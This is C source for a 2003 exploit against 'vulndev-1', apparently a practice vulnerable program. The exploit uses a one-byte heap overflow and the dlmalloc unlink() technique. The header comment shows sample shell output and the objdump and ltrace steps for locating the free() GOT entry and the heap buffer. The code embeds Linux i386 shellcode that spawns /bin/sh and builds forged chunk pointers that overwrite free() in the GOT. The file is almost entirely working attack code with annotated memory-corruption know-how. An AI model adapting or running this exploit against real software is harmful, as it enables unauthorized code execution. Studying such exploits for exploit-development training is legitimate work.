/*
 * $Id$
 *
 * vulndev-1-ex.c - vulndev-1.c exploit (14/05/2003)
 * Copyright (c) 2003 Marco Ivaldi <raptor () 0xdeadbeef info>
 *
 * See http://www.securityfocus.com/archive/82.
 *
 * One-byte heap overflow with unlink() technique for dlmalloc (Linux/Owl). 
 *
 * $ ./vulndev-1-ex 
 * Using free() address: 0x8049600
 * Using ret: 0x80496d8
 * sh-2.05$
 *
 * $ objdump -R vulndev-1 | grep free
 * 08049600 R_386_JUMP_SLOT   free
 * ^^^^^^^^\__(this is the free() address in GOT)
 *
 * $ ltrace vulndev-1 2>&1 | grep malloc
 * malloc(252)                                       = 0x080496d0
 *                (this is the buf1 address in heap)__/^^^^^^^^^^
 * malloc(252)                                       = 0x080497d0
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define BUF1	254		// 252 + 1 + 1
#define BUF2	9		// 8 + 1
#define FREE	0x08049600	// free() address in GOT
#define MALLOC	0x080496d0	// buf1 address in heap

char sc[] = /* linux/i386 shellcode (12 + 24 = 36 bytes) */
"\xeb\x0aWHO_CARES?"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main()
{
	char buf1[BUF1], buf2[BUF2];
	char *p = buf1;
	int ret = MALLOC + 8;

	fprintf(stderr, "Using free() address: %p\n", FREE);
	fprintf(stderr, "Using ret: %p\n", ret);

	/* fd and bk padding in first chunk */
	memset(p, 'A', 8);
	p += 8;

	/* copy our shellcode in first chunk */
	memcpy(p, sc, strlen(sc));
	p += strlen(sc);

	/* padding of first chunk + one-byte overflow */
	memset(p, 'A', BUF1 - 8 - strlen(sc));
	p += BUF1 - 8 - strlen(sc);

	/* terminate our buffer */
	*p = 0x0;

	p = buf2;

	/* fd field of second chunk */
	*((void **)p) = (void *)(FREE - 12);
	p += 4;

	/* bk field of second chunk */
	*((void **)p) = (void *)(ret);
	p += 4;

	/* terminate our buffer */
	*p = 0x0;

	/* run the vulnerable program */
	execl("./vulndev-1", "vulndev-1", buf1, buf2, NULL);
	perror("execl");
}
